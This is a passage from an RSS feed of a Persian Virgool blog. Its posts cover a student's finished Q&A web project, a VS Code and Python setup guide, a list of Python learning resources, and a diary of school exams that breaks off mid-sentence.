                <link>https://virgool.io/@mohammadiashkan1384/%D9%BE%D8%B1%D9%88%DA%98%D9%87%D8%A1-%D8%AF%D9%88-%D8%B3%D8%A7%D9%84%D9%87-%D8%A7%D9%85-questify-%D8%B1%D9%88-%D8%AA%D9%85%D9%88%D9%85-%DA%A9%D8%B1%D8%AF%D9%85-github-repo-demo-lrfovfcouu1k</link>
                <description>تقریبا دو سال می شد که فکر ایجاد یک پلتفرم پرسش و پاسخ مخصوص دانش آموزان رو داشتم. زمان دبیرستان ما که یک سالش هم به خاطر کرونا نیمه حضوری (در برخی مواقع کاملا غیر حضوری) برگزار شد خیلی شاهد این پدیده بودم که دانش آموزان سوال های درسی شون رو توی گروه کلاس می نوشتن و بعضی وقت ها بقیه اون قدر چت می کردن که این سوالا زیر دریایی از چت های دیگران غرق می شد یا اینکه اصلا جواب هم که می گرفت بعد از مدتی گم و گور می شد و بعضا باعث پرسیدن سوالای تکراری می شد.منم که در به در دنبال یه ایده میگشتم برای اینکه یه پروژهء درست و حسابی توی رزومه ام داشته باشم، این فکر به سرم زد که «چرا من خودم یه سایت برای برطرف کردن این مشکلات نزنم؟».قبلا هم یه بار توی این پست راجع به شخصیت کمالگرای خودم توضیح داده ام. از اونجایی که این وسواس فکری بیش از حد باعث شکست های پیاپی در پروژه های دیگه ام شده بود، این پروژه برام اهمیت بیشتری داشت چون با به انجام رسوندنش می تونستم به خودم ثابت کنم که من توانایی انجام یه پروژه نرم افزاری بزرگ تر از todo list رو هم دارم.تصمیم گرفتم که این پروژه رو تا انتها ادامه بدم، هرچقدر هم که طول بکشه!ولی این وسواس فکری لعنتی جلوی پیشرفت پروژه رو می گرفت. یه مدت زمان زیادی رو صرف پیدا کردن بهترین تکنولوژی و فریمورک ها برای پروژه ام کردم. مثلا بک اند رو یه بار با Django نوشتم، یه بار دیگه با Nest Js هر دو هم یه بار به صورت REST API و یه بار هم به صورت GraphQL. فرانت هم که یه بار با Vue، یه بار با Next یه بار هم React خالی + Vite، کتابخانه UI هم یه بار خودم از صفر طراحی کردم و یه بار هم React MUI رو استفاده کردم. تازه یه دفعه هم سعی کردم به صورت full stack اپ رو با .net core 6 بنویسم.درگیر یه روند خیلی مزخرف و بی خود شده بودم. شاید براتون سوال پیش بیاد که چرا این همه بین تکنولوژی های مختلف جا به جا می شدم؟ علتش این بود که مثلا میومدم بخش احراز هویت رو با NestJS پیاده سازی کنم، بعد که میدیدم چقدر سخته با خودم می گفتم ای کاش با Django پیش می رفتم. یا مثلا وقتی میدیدم Vue کتابخانه های ui اش در حد React نیستند و هم اینکه با typescript مشکل دارن هی به سرم می زدم برم سراغ React البته این مواردی که یادم میاد مال 2 سال پیشه و ممکنه الان دیگه رفع شده باشه ولی من حقیقتا خبر ندارم. از یه جایی به بعد دیگه تصمیم گرفتم که با همون technology stack ای که باهاش پروژه رو شروع کردم باقی بمونم و زیاد پیگیر تکنولوژی های دیگه نشم که هی فکر از صفر شروع کردن به سرم نزنه (پروژه اونقدر طول کشید که ورژن Django ای که باهاش پروژه رو شروع کرده بودم، یعنی ورژن 3.2 الان منسوخ شده و پشتیبانی نداره XD. آخرین نسخه Django الان 5.1 هست.)وقتی دیدم این وسواس فکری چقدر داره بهم ضربه میزنه و چقدر از عمرمو به باد داده فهمیدم که اینطوری نمیشه و واقعا باید از اساس یه فکری به حالش بکنم. مثلا به خودم قول میدادم که «اول کد هاشو هرچند کثیف پیاده سازی میکنم بعد برمیگردم و طوری refactor اش می کنم که تبدیل به نمونه ای بی بدیل از ظهور مفاهیم clean code بشه». یه عالمه هم ایده داشتم برای امکانات سایت که نهایتا از بینشون چندتایی رو انتخاب کردم و بقیه شو به خودم وعده دادم که «اینا مال ورژن های بعدی اپلیکیشنه».خلاصه که کار واقعی رو شروع کردم و تا یه حد خوبی پیش بردم تا اینکه سال کنکورم شروع شد. تا یک سال از دنیای برنامه نویسی دور بودم تا اینکه از قفس کنکور خلاص شدم و تونستم دوباره برگردم سر پروژه. الان هم بعد دو هفته کد زدن می تونم سرم رو بالا بگیرم و بگم که بالاخره پروژه رو تموم کردم.صفحه اول سایتاین هم repository گیتهاب: https://github.com/Amohammadi2/questify-community/ امکانات و اهداف پروژه به علاوه تکنولوژی های استفاده شده رو نوشته ام. داکیومنت های پروژه رو هم می تونید توی فولدر &#x60;Questify Docs&#x60; پیدا کنید. البته این فولدر رو باید با نرم افزار Obsidian بازش کنید وگرنه لینک ها کار نمی کنن و دیاگرام های mermaid اش رندر نمی شن.دمو https://www.aparat.com/v/gwslv1c </description>
                <category>اشکان محمدی</category>
                <author>اشکان محمدی</author>
                <pubDate>Sun, 25 Aug 2024 19:02:05 +0330</pubDate>
            </item>
                    <item>
                <title>آماده سازی VS Code برای اجرای کد پایتون در 5 قدم خلاصه</title>
                <link>https://virgool.io/@mohammadiashkan1384/%D8%A2%D9%85%D8%A7%D8%AF%D9%87-%D8%B3%D8%A7%D8%B2%DB%8C-vs-code-%D8%A8%D8%B1%D8%A7%DB%8C-%D8%A7%D8%AC%D8%B1%D8%A7%DB%8C-%DA%A9%D8%AF-%D9%BE%D8%A7%DB%8C%D8%AA%D9%88%D9%86-%D8%AF%D8%B1-5-%D9%82%D8%AF%D9%85-%D8%AE%D9%84%D8%A7%D8%B5%D9%87-vdxp4ov5bgng</link>
                <description>قدم صفر: نصب مفسر پایتونفرض می کنیم که شما مفسر پایتون رو از قبل روی سیستم تون نصب کرده اید. اگر انجامش ندادید هنوز از طریق لینک زیر اقدام کنید. آموزش قدم به قدمش توی این لینک هستاین لینک یکم قدیمیه و نصب پایتون ورژن 3.5 رو توضیح داده در حالی که آخرین ورژن رسمی پایتون در زمان نوشته شدن این مقاله پایتون 3.11 هست اما مهم نیست چون نحوه setup پایتون بین این دو ورژن هیچ تفاوتی نکرده. https://sokanacademy.com/academy/courses/%D8%A2%D9%85%D9%88%D8%B2%D8%B4-%D9%BE%D8%A7%DB%8C%D8%AA%D9%88%D9%86/%D9%85%D9%82%D8%AF%D9%85%D9%87-60/%D9%86%D8%B5%D8%A8-%D9%85%D9%81%D8%B3%D8%B1-%D8%B2%D8%A8%D8%A7%D9%86-%D8%A8%D8%B1%D9%86%D8%A7%D9%85%D9%87%D9%86%D9%88%DB%8C%D8%B3%DB%8C-%D9%BE%D8%A7%DB%8C%D8%AA%D9%88%D9%86-%D8%B1%D9%88%DB%8C-%D8%B3%DB%8C%D8%B3%D8%AA%D9%85%D8%B9%D8%A7%D9%85%D9%84-%D9%88%DB%8C%D9%86%D8%AF%D9%88%D8%B2 قدم اول: نصب VS Codeزود، تند، سریع به این لینک برید و فایل setup برنامه  VS Code رو دانلود کنیدبا تعداد گزینه های موجود الکی گیج نشید اگه ویندوز دارید سرراست همین دکمه رو بزنید و دانلودش کنید:اگر نوب نباشید نباید براتون زیاد طول بکشه ولی اگه راهنمایی بیشتری نیاز داشتید به این لینک مراجعه کنید: https://coderlife.ir/%D8%B1%D8%A7%D9%87%D9%86%D9%85%D8%A7%DB%8C-%D9%86%D8%B5%D8%A8-visual-studio-code-%D8%A8%D8%B1%D8%A7%DB%8C-%D9%85%D8%A8%D8%AA%D8%AF%DB%8C%D8%A7%D9%86/ قدم دوم: نصب افزونه پایتونبرنامه VS Code کلا افزونه های زیادی داره و بر اساس کاری که می خواهید باهاش انجام بدید میتونید افزونه های مربوطه رو از marketplace اش نصب کنید. الان ما به یک افزونه نیاز داریم که بهمون قابلیت برنامه نویسی پایتون در VS Code رو بده. نصب این افزونه اصلا سخت نیست فقط این مراحل رو دنبال کنید:قدم سوم: اولین فولدر پروژه تون رو ایجاد کنید و بازش کنیدیه فولدر گوگولی مگولی خالی این شکلی ایجاد کنید اولاسمش هیچ اهمیتی نداره هرچی دلتون خواست بزاریدبعد در برنامه VS CODE از منوی بالا Files رو باز کنید و open folder رو بزنید:بعد هم از طریق دیالوگ باز شده فولدرتون رو انتخاب کنید و بازش کنیدحالا دیگه VS Code تون آماده استقدم چهارم: ایجاد اولین فایل پایتوناین مراحل رو دنبال کنید و یه فایلی به نام hello.py بسازیدتذکر: پسوند py. در آخر اسم فایل به طرز ناموسی مهمه چون ادیتور ها و کلا همه سایت ها از همین پسوند ها برای تشخیص فرمت محتویات فایل ها استفاده می کنند و از لحاظ تجربه کاربری اهمیت زیادی داره.قدم پنجم: اجرای اولین خط کد پایتونحالا روی فایل ایجاد شده کلیک کنید تا براتون باز بشه بعدش هم این کدی که توی عکس می بینید رو تایپ کنید توی فایل (جزء به جزء و با دقت زیاد تایپ کنید هیچ چیزی رو اضافه یا کم نکنید) بعدش هم روی دکمه اجرا که بالا سمت راست صفحه قراره داره بزنید تا کد اجرا بشه:نکته: برنامه  VS Code برای بهینه سازی سرعت عملکرد خودش فقط افزونه هایی رو لود می کنه که مورد نیاز هستند. یعنی وقتی شما افزونه مربوط به پایتون رو نصب می کنید اون افزونه فعال نمیشه تا زمانی که شما یه فایل پایتون رو باز کنید. وقتی یک فایل پایتون رو باز کنید VS Code می فهمه که می خواهید برنامه نویسی پایتون انجام بدید و افزونه پایتون رو فعال می کنه.به خاطر همین بعد از اینکه فایل رو باز می کنید یه سری بخش های جدید به ادیتور اضافه میشن، مثلا همون بخشی که توی عکس ستاره خورده که بهتون ورژن مفسر پایتونتون رو نشون میده (مال من 3.9.5 هست مثلا)خوب تبریک میگم شما اولین خط کد پایتونتون رو اجرا کردید. حالا می تونید به یادگیری ادامه بدید و بیشتر با کد هاتون ور برید. امیدوارم براتون مفید واقع شده باشه. تا پستی دیگر در پناه حق.</description>
                <category>اشکان محمدی</category>
                <author>اشکان محمدی</author>
                <pubDate>Mon, 19 Jun 2023 19:01:13 +0330</pubDate>
            </item>
                    <item>
                <title>بهترین منابع یادگیری خودآموز پایتون از نقطه صفر</title>
                <link>https://virgool.io/@mohammadiashkan1384/%D8%A8%D9%87%D8%AA%D8%B1%DB%8C%D9%86-%D9%88-%DA%A9%D8%A7%D9%85%D9%84-%D8%AA%D8%B1%DB%8C%D9%86-%D9%85%D9%86%D8%A7%D8%A8%D8%B9-%DB%8C%D8%A7%D8%AF%DA%AF%DB%8C%D8%B1%DB%8C-%D9%BE%D8%A7%DB%8C%D8%AA%D9%88%D9%86-%D8%A7%D8%B2-%D8%B5%D9%81%D8%B1-%D8%A8%D8%AF%D9%88%D9%86-%D9%87%DB%8C%DA%86-%D9%BE%DB%8C%D8%B4-%D9%86%DB%8C%D8%A7%D8%B2-gy6stbvlfcmj</link>
                <description>پایتون زبان برنامه نویسی ساده ای هست که علی رغم ساده بودنش خیلی قدرتمنده و دامنه استفاده بسیار گسترده ای داره. عمدهء استفاده از پایتون در توسعه بک‌اند (back-end) وب سایت ها و همچنین پروژه های هوش مصنوعی (Artificial Intelligence) و علوم داده (Data Science) است.اگر بخواهید به صورت خودآموز برنامه نویسی پایتون رو خودتون یاد بگیرید حتما براتون این سوال پیش میاد که از کجا شروع کنید و چه منابعی در مسیر یادگیری به کارتون میاد. من خودم برنامه نویسی رو به صورت خود آموز یاد گرفته ام و توی این نوشته می خوام منابعی که توی این مسیر کمکم کردن رو بهتون معرفی کنم.توجه: هیچ کدام از لینک های قرار داده شده، لینک affiliate نیستند.بهترین وبسایت های فارسیسایت فرادرسفرادرس یکی از بزرگ ترین سایت های آموزشی ایران هست و توی خیلی از مباحث از دبیرستان گرفته تا دانشگاه و شاخه های مختلف مهندسی می تونید داخلش آموزش پیدا کنید. بعضی از آموزش هاش رایگانه ولی اکثرا پولی هستند. البته در بعضی مناسبات (پایان مدارس و شروع تابستان مثلا) آموزش هاشون تخفیف بخوره پس این جور مواقع سعی کنید یه سری به این سایت بزنید. اینم لیست آموزش های پایتون شون هست.سایت سبزلرنمن خودم از این سایت استفاده نکرده ام ولی اخیرا یه دوره رایگان پایتون برگزار کرده که از بقیه خیلی تعریفش رو شنیده ام. سرفصل هاش رو که برسی کردم دیدم دوره کاملا بروز و کاملی هست و جدید ترین قابلیت های پایتون رو که در ورژن های اخیر بهش اضافه شده اند رو هم پوشش داده. ضمنا دوره شون پشتیبانی رایگان هم داره یعنی اگر براتون سوال یا مشکلی پیش بیاد می تونید از پشتیبان دوره بپرسید و براتون حلش می کنند. https://sabzlearn.ir/product/python/ اگر توی برنامه نویسی 0 مطلق هستید و می خواهید پایتون رو یاد بگیرید، این دوره میتونه براتون شروع خوبی باشه. در زمان نوشتن این پست، دوره ذکر شده رایگان هست ولی نمی دونم تا کی رایگان می مونه.بهترین کانال های یوتیوب فارسیپایین می توانید دست‌چینی از محتوای هر کدام از کانال های معرفی شده را ببینیدکانال رضا دولتیکانال نئولرنکانال پارس کلیککانال علی اعلاییمنبع اصلی این کانال ها از پست این دوست عزیز در ویرگول بوده: https://vrgl.ir/32JUFکتاب های فارسیدوستان، راستش رو بخواهید چند تا عنوان کتاب رو دیدم که ظاهرا پر طرفدار بود ولی چون خودم نتونستم جایی پی دی اف رایگانش رو پیدا کنم و سرفصل هاشو برسی کنم اسمشون رو توی این بخش نمیارم.اگر واقعا یه کتاب درست حسابی و کامل فارسی در زمینه برنامه نویسی پایتون (از مبتدی تا حرفه ای) خونده اید عنوانش رو بگید که من در این بخش اضافه کنم ??خوب حالا میریم سراغ یه سری منابع خیلی خوب انگلیسی (مناسب دوستانی که زبانشون اوکی هست و با محتوای انگلیسی مشکلی ندارند)بهترین وبسایت های انگلیسیسایت python.orgاین وبسایت، وبسایت رسمی توسعه دهنده های زبان پایتون هست. مستنداتش همیشه با آخرین نسخه پایتون هماهنگ هست و بروز ترین مرجعی هست که می تونید بهش مراجعه کنید. محتوای این سایت دائما آپدیت میشه.لینک آموزش مقدمات پایتون از همین سایت: https://docs.python.org/3/tutorial/index.html با تشکر از حاج امیرسایت w3schools.comاین سایت واقعا منبع جامعی هست که نه تنها در زمینه پایتون بلکه در خیلی زمینه های دیگه هم محتوای آموزشی داره. می تونید خودتون لیستش رو در داخل سایت ببینید، اینم یه پیش نمایش از لیست محتویات سایت:همون طور که می بینید خیلی از زبان های برنامه نویسی و تکنولوژی های مختلف رو پوشش میده. من خودم خیلی از این سایت استفاده می کنم. html ،css ،js و php رو از خود همین سایت یاد گرفتم. خوبی سایتش اینه که کد ها قابلیت اجرا و ادیت رو دارن یعنی هم زمان که یاد میگیرید می تونید کد ها رو اجرا هم بکنید. اینطوری با دیدن نتیجه درک عمیق تری نسبت به اون مبحث پیدا می کنید. https://www.w3schools.com/python/default.asp سایت realpython.comاین وبسایت بدون شک یکی از بهترین وبسایت های آموزشی هست که تا به حال دیده ام. تمرکز این سایت بیشتر روی مباحث پایه ای پایتون هست. این سایت دوره هاش پولی هستند ولی مقاله های رایگان جالبی هم داره که می تونید از اونها به عنوان مکمل یادگیری استفاده کنید. https://realpython.com/search?kind=article&amp;kind=course&amp;order=newest سایت programmize.comاز داخل این سایت می تونید مباحث مقدماتی تا متوسط پایتون رو یاد بگیرید، هر بخش آموزش هم یک ویدئو به همراه متن داره که می تونید ببینید (البته با قندشکن برید چون ویدئو ها لود نمیشن تو حالت عادی). سایت javatpoint.comاین هم یک سایت دیگه است که کلی مطلب در زمینه پایتون و بقیه زبان های برنامه نویسی داره. گه از گاهی از این سایت هم استفاده می کردم (اکثرا از بخش python questions که یه سری سوالات رایج مربوط به انجام کار های بخصوص با پایتون رو جواب میده). چون اسمش یادم بود گفتم این رو هم اضافه کنم. https://www.javatpoint.com/python-tutorial بهترین کانال های یوتیوب انگلیسیپایین می توانید دست‌چینی از محتوای هر کدام از کانال های معرفی شده را ببینیدکانال FreeCodeCampاین کانال، منبعی عالی برای یاد گرفتن برنامه نویسیه. مباحث زیادی رو پوشش میده و crash course های زیادی هم داره. هم برای پایتون هم زبان های برنامه نویسی دیگه.کانال mCodingاین کانال تمرکزش بیشتر روی پایتون، ++C و کلا مباحث مربوط به الگوریتم هست. این کانال عملکرد های ظریف پایتون رو عمیقا موشکافی می کنه و بهتون درک خوبی از پشت پرده مفسر پایتون میده.کانال Tech With Timدر این کانال آموزش های پایتونی وجود دارند که بیشتر متمرکز روی توسعه وب هستند، هرچند ویدئو هایی راجع به بازی سازی با پایتون هم می تونید توش پیدا کنید.کانال Arjan Codesتوی این کانال می تونید مباحث راجعی به مهندسی نرم افزار و معماری سیستم های ابری و ... پیدا کنید.کانال NeuralNineدر این کانال در زمینه آموزش برنامه نویسی پایتون و همچنین زبان های برنامه نویسی دیگه تولید محتوا می کنه. مباحثی مثل الگوریتم، یادگیری ماشینی، ترفند های برنامه نویسی و ... رو پوشش میده.بهترین کتاب های انگلیسیبرای دانلود هر کدوم از این کتاب ها روی عنوانش کلیک کنیدکتاب Learn Python The Hard Wayسطح کتاب: نوشته شده برای مبتدی هاروشی که این کتاب برای آموزش پایتون پیش گرفته، آموزش از طریق تمرین عملی هست. کلمه the hard way احتمالا به خاطر این هست که خودتون باید سیستم خودتون رو آماده به کار کنید، کد ها رو تایپ کنید و تمرین ها رو انجام بدید.این کتاب 50 تا تمرین داره که هر کدومش ادامه تمرین قبلی هست و در هر کدوم نکته ای جدید از زبان برنامه نویسی پایتون یاد میگیرید. توی هر تمرین، یک مثال برای توضیح مبحث آورده شده. زیر هر مثال هم توضیحات کامل عملکرد کد نوشته شده. بعد هر تمرین بخشی به نام  &quot;study drills&quot; وجود داره که شما رو راهنمایی می کنه که مثال رو تغییر و گسترش بدید، بخشی دیگری هم به نام &quot;common student questions&quot; وجود داره که در این اون به سوالات و ایراد های رایج دانش آموزان پاسخ داده شده.کتاب Invent Your Own Computer Games With Pythonسطح کتاب: نوشته شده برای مبتدی هااین کتاب پایتون رو در قالب 21 پروژه به شما یاد میده. پروژه های داخل کتاب هر کدومشون یک بازی هستند. پروژه ها از بازی های ساده مثل بازی «حدس عدد» شروع میشن و رفته رفته با وارد شدن کتاب به مباحث پیشرفته تر مثل گرافیک و انیمیشن، افکت صدا و عکس و ... پیشرفته تر میشنکتاب Fluent Pythonسطح کتاب: برای برنامه نویس هایی در سطح متوسط و پیشرفته نوشته شدهکتاب fluent python برای برنامه نویس هایی نوشته شده که از قبل درک کاملی از مقدمات پایتون یا یک زبان برنامه نویسی دیگه داشته اند و بیشتر به برسی مباحث پیشرفته تر پایتون می پردازه به خاطر همین برای شروع مناسب نیست. اما وقتی که از سطح مقدماتی رد شدید حتماِ حتما این کتاب رو بخونیدکتاب Python Tricks: A Buffet of Awesome Python Featuresسطح کتاب: برای برنامه نویس هایی در سطح متوسط و پیشرفته نوشته شدهاین کتاب از 9 فصل تشکیل شده که همه شون روی هم 43 بخش می شن. هدف این کتاب یاد دادن ترفند هایی برای نوشتن کد های خوانا و بهینه تر در پایتون هست. این کتاب با آوردن مثال هایی شیوه های پیاده سازی مختلف کد ها رو با هم مقایسه می کنه و بهتون یاد میده چطور از مباحث گفته شده در دنیای واقعی استفاده کنید.پیشنهاد شخصی به افرادی که می خوان از 0 شروع کننددوستان خداوکیلی من اگه بخوام همین الان از 0 شروع کنم با همون دوره سبزلرن شروع می کنم. این دوره فعلا الان رایگانه و پشتیبانی هم داره. سرفصل هاش رو هم برسی کردم و دیدم که تقریبا کامله و ویژگی هایی که اخیرا به پایتون اضافه شده اند رو هم پوشش میده. از کیفیت تدریس دوره خبر ندارم ولی با توجه به بازخورد های دوره و اینکه تقریبا همه جا اسمش رو میشنوم ظاهرا دوره خوبی باید باشه پس حتما بهش یه سر بزنید.خوب دوستان به انتهای پست رسیدیم. اگر سوال، پیشنهاد یا انتقادی دارید بیاید تو کامنت ها بحث کنیم. به هر حال امیدوارم این پست براتون مفید واقع شده باشه. تا پستی دیگر در پناه حق!سایر مقالات https://vrgl.ir/IyRog  https://vrgl.ir/c0AZw منابع:تجارب شخصیعلامه گوگلاین پست: https://vrgl.ir/32JUFاین مقاله: https://realpython.com/best-python-books/</description>
                <category>اشکان محمدی</category>
                <author>اشکان محمدی</author>
                <pubDate>Mon, 19 Jun 2023 11:37:03 +0330</pubDate>
            </item>
                    <item>
                <title>این نیز گذشت | شرحی بر امتحانات خرداد یک یازدهمی ریاضی</title>
                <link>https://virgool.io/@mohammadiashkan1384/%D8%A7%DB%8C%D9%86-%D9%86%DB%8C%D8%B2-%DA%AF%D8%B0%D8%B4%D8%AA-%D8%A7%D8%B2-%D8%B9%DB%8C%D8%AF-%D8%AA%D8%A7-%D8%AE%D8%B1%D8%AF%D8%A7%D8%AF-%DB%8C%DA%A9-%DB%8C%D8%A7%D8%B2%D8%AF%D9%87%D9%85%DB%8C-%D8%B1%DB%8C%D8%A7%D8%B6%DB%8C-%D9%81%DB%8C%D8%B2%DB%8C%DA%A9-uyumgltte7wt</link>
                <description>تصویر ایجاد شده با هوش مصنوعی بینگبه عنوان یه دانش آموز یازدهمی که قراره سال بعد کنکور بده (انشاالله اگر این قوانین مضحک آموزش و پرورش پیرامون کنکور تغییر نکنه) امسال یه جورایی عهد بسته ام که از فراخ‌بازی و گشادگی دست بکشم و عزمم رو جزم کنم برای یه خیز مردانه به سمت کنکور. می دونم که شاید هیچ وقت نتونم رتبه سه رقمی (خدا نصیبتون کنه) بیارم ولی تلاشم رو می کنم که بعدا عذاب وجدان نگیرم بابت عدم مجاهدت ...من از همون آدمایی هستم که هزارتا قول و قرار با خودم میزارم ولی در قریب به اکثر مواقع اون قول ها در حد یک حرف باقی می مونه و به وادی عمل نمی رسه (ملامت نکنید، مطمئنم خیلی ها همین طورین) ولی از اونجایی که کنکور قضیه اش با بقیه چیز ها فرق می کنه تصمیم گرفتم یه سری متر و معیار در نظر بگیرم و یه سری هدف کوتاه مدت و میان مدت برای خودم تعریف کنم بلکه کمی قضیه برام جدی تر بشه و بتونم خودم رو به جلو هل بدم.تعطیلات عید | موسم بهار | مرور درس هااولین قراری هم که با خودم گذاشتم مرور درس هام در تعطیلات عید بود. تصمیم گرفتم که در تمام دو ماه باقی مونده تا زمان امتحانات درس های عمومی رو به کتفم بزنم (که تا اون زمان هم غیر این نبوده) و تمام حواسم رو معطوف دروس تخصصی کنم.مثل همیشه، پنج روز اول عید که صرف گردش و علافی و مهملی شد پس اون که هیچ :/ ولی بقیه روز ها رو تقریبا درس خوندم و فصل 4 و 1 حسابان 1 (که مربوط دنباله و معادله و هندسه تحلیلی و مثلثات و این چیزا میشد) رو تقریبا خوب جمع کردم و برای هر کدوم هم فکر کنم نزدیک 30 تا تست حل کردم.تقریبا به اون درس ها احساس تسلط می کردم البته نه اینکه بتونم هر سوالی که بدید رو حل کنم ولی مطمئن بودم اگر از اون درس ها ازم امتحان بگیرن نمره ام بالای 18 میشه.توی عید تقریبا بین 2 الی 3 ساعت درس می خوندم. به اندازه یک روز معمولی هفته. هرچند که با ایده آلی که تو ذهنم داشتم فاصله زیادی داشت ولی بهتر از هیچ کار نکردن بود.اینم یه سری از چِرت نویس های زمان عیده | پ.ن: سررسید مال سال 83 هست؛ من متولد 84 ام. یه سال از من بزرگ ترهپایان تعطیلات عید | آغاز مطالعه برای امتحانات خردادبعد از عید شرایط خیلی معمولی پیش رفت و معلم ها تدریس شون رو ادامه دادن تا کتابا تموم بشه. این هفته های اخیر هم که اصلا کاری برای انجام نداشتیم.اینم یه سری عکس یادگاری که با استاد هامون انداختیماستاد سلیمانی، دبیر درس تاریخاستاد علی‌زاده دبیر ادبیاتاستاد محمدی، مدرس عربی مونخلاصه که هفته های آخر به همین نرمی طی شد تا اینکه برنامه امتحانات خرداد به دستمون رسید:من یازدهم ریاضی هستم. خداوکیلی امتحانای هفته دوم رو نگاه کنید ... ???من همون اولش که اینو دیدم کُپ کردم. هفته دوم همش درس های حفظی بود اونم با فاصله یک روز در میان. این جا بود که از ساده‌انگاری در حق دروس عمومی پشیمون شدم. این خلاصه چیزیه که در این دو هفته بر من گذشت:امتحان انسان و محیطسه شنبه 26 اردیبهشت: برنامه ریزی کرده بودم که انسان و محیط رو توی 2 ساعت جمع کنم ولی تخمینی که زده بودم اشتباه از آب دراومد چون تقریبا 5 ساعتی زمان نیاز داشت به علاوه اینکه یادم افتاد امتحان آزمایشگاه رو می خوان همزمان با انسان و محیط توی همون روز بگیرن (هرچند تو خود برنامه اصلا اسمش نیومده). معلم آزمایشگاهمون هم یه جزوه 18 صفحه ای پر از مطلب فرستاده بود که اصلا وقت نکردم کامل بخونمش. سر جلسه امتحان ورقه امتحان آزمایشگاه رو تقریبا سفید تحویل دادم رفت.سرجمع مطالعه: 5 ساعتامتحان دینیسطح اطلاعات دینی ما - ??سر امتحان دینی هر چقدر به معلم التماس کردیم هیچ فایده ای نداشت. هر چقدر توی مدرسه و تو گروه کلاس پاپیچ معلم شدیم که کمی بهمون تخفیف بده فایده ای نداشت.بس زجه زدیم به او ولیکنعاید نشد حاصلی از این روگویا که سر رفاقتش نیست«نگرفت حدیث ما به یک جو»- شعر از خودمخلاصه که داشتیم زیر امتحان دینی می زاییدیمرنجش عمومیبرای ترغیب معلم دینی دست به دامان مناسبات مذهبی شدیمری اکشن مشاور پایه مونری اکشن دبیر دینی (معروف به حاجی) - توسط بچه های کلاس - دمت گرم سیدآخرش تونستیم یه پی دی اف خلاصه از معلممون بگیریم که به صورت درختی مطالب درس رو قالب نکته های خلاصه گفته بود. ولی برای من هیچ فایده ای نداشت چون من دیر به دیر گروه رو چک می کردم و اون قدر بچه ها چت کرده بودن که دیگه فایل توی دریای چت هاشون غرق شده بود. بعد امتحان تازه فهمیدم که اصلا چنین پی دی افی تو گروه ارسال شده:خلاصه که در جهل مرکب افتادم و با کتاب پیش رفتم.من کلا فکر کنم تا قبل از این امتحان تعداد دفعاتی که توی خونه لای کتاب دینی رو به قصد مطالعه باز کرده بودم به تعداد انگشت های یک دست هم نمی رسید. ولی حالا باید 12 تا درس رو فرو می کردم توی مغزم.چهارشنبه 27 اردیبهشت: خوندن درس دینی رو شروع کردم که دیگه این یکی رو خراب نکنم. از اونجایی که طبق تجربه قبلی می دونستم قراره از واو به واو کتاب سوال بیاد (سوالای معلم دینی ما رو مرجع تقلید هم نمی تونه جواب بده) منم واو به واو هر درس رو می خوندم و هم زمان نکاتش رو خلاصه نویسی می کردم به خاطر همین هر درس نزدیک 2 ساعت کامل زمان می برد ولی عوضش دیگه احتمال اینکه چیزی که خونده ام از یادم بره خیلی کم بود. اون روز دو تا از 12 درس رو جمع کردم.پنجشنبه 28 اردیبهشت: از صبح تا شب فقط دینی خوندم و حاصلش شد جمع کردن درس 7 الی 12جمعه 29 اردیبهشت: بالاخره عصر ساعت 7 یه دور کتاب رو تموم کردم. یه سری درس های ترم اول رو فقط سرسری خوندم و رد کردم چون به هر حال درس های ترم اول نمره کمتری داشت.شنبه 30 اردیبهشت: صبح ساعت 6 پا شدم و یه دور سرسری دوره کردم و بعد هم رفتم سر جلسه امتحان.سرجمع مطالعه: 3 + 8 + 6 = 17 ساعتامتحان ادبیاتاین درس، درس مورد علاقه ام بودبا اینکه دانش آموز رشته ریاضی هستم ولی امسال به ادبیات و اشعار سنتی ایرانی علاقه مند شدم و همچنین شروع کردم به گفتن شعر. آخرین دقایق آخرین کلاس فارسی مون هم با این شعر من در وصف شجاعت حضرت علی در واقعه لیله المبیت به پایان رسید:از مسلم و کافر همگان شگفت نامش | واقف شده درگاه ملک بر آن مقامشآن شب به خیال اهل مکه شب خون بود | تا خواب نبی را به شبی کنند حرامشدیگر به خیالشان نبودست که نبی را | یاری به جهان است که وَرا چنان مرامشدر ورطه بلرزید همه آن هلال شمشیر | از شدت شرمش که بدید علی به دامشآن کافر حربی که به کارش همه هیلت | مکرش به فنا دید و هم آن خیال خامشرزم‌آورِ حیرت، علی الگوی بصیرت | در مکتب عدلش همگان همچو غلامشهر مست خدایی که به عالم همه دیدی | حقا که گرفتست ز علی بادهء جامش- شعر از خودمخوب دیگه حالا بریم سراغ وقایع امتحان: شنبه 30 اردیبهشت: از امتحان دینی برگشته بودم و خسته تر از اونی بودم که بتونم برای ادبیات چیزی بخونم. کلا یه روز به خودم استراحت دادمیکشنبه 31  اردیبهشت: از ساعت 6 صبح بیدار شدم و اول از همه شروع کردم به مطالعه لغت‌نامه آخر کتاب، یه جوری لغت‌نامه رو خوندم که تا همین الان هم کلماتش یادمه. فکر کنم نزدیک 6 ساعت وقت گذاشتم فقط برای لغت‌نامه. چون آرایه ها و معنی بیت ها و ... رو به خاطر تکرار زیاد در طول سال بلد بودم زیاد طول نکشید تا اینکه درس های مهم رو جمع کردم. اکثر شعر های کتاب رو تقریبا حفظ بودم به خاطر همین فقط مرورشون کردم. بعد هم توضیحات و سوالات هر درس رو که در دو صفحه آخر هر درس در قالب قلمرو ادبی، فکری و زبانی نوشته شده بود خوندم.دوشنبه 1 خرداد: نیم ساعت مرور کردم و رفتم سر جلسه آزمون، چیزایی که خونده بودم اتفاقا کافی هم بود و خداروشکر ورقه امتحان رو خوب جواب دادمسرجمع مطالعه: حدود 10 ساعتامتحان شیمیحفظیات این درس همیشه پاشنه‌آشیل من توی همه امتحانات بوده. محتویات فصل اول شیمی 2 رو موقع امتحانات ترم اول خلاصه نویسی کرده بودم و از این لحاظ شانس آوردم ولی فصل دو و سه رو مجبور شدم از روی کتاب بخونم. متن کتاب شیمی واقعا به طرز مزخرفی طولانی نوشته شده. چند صفحه اول هر فصل که فقط مقدمه و داستان بافی مولفین کتابه برای این که ثابت کنن چیزایی که توی کتاب نوشته شده در زندگی روزمره و صنعت کاربرد واقعی داره.تاریخچه نخ‌ریسی و تولید پوشاک و آمار مصرف جهانی الیفات طبیعی و مصنوعی و صنایع دستی شهر های ایران و ... از این دست چرت و پرت ها که تو امتحان هم ازشون سوال نمیاد همش به عنوان مقدمه ای برای بحث گروه های عاملی و پلیمر ها توی کتاب نوشته شده.توی این بلبشوی در هم بر هم کتاب گشتن به دنبال نکته خلاصه شده خیلی کار سخت و طاقت فرسایی بود. دچار 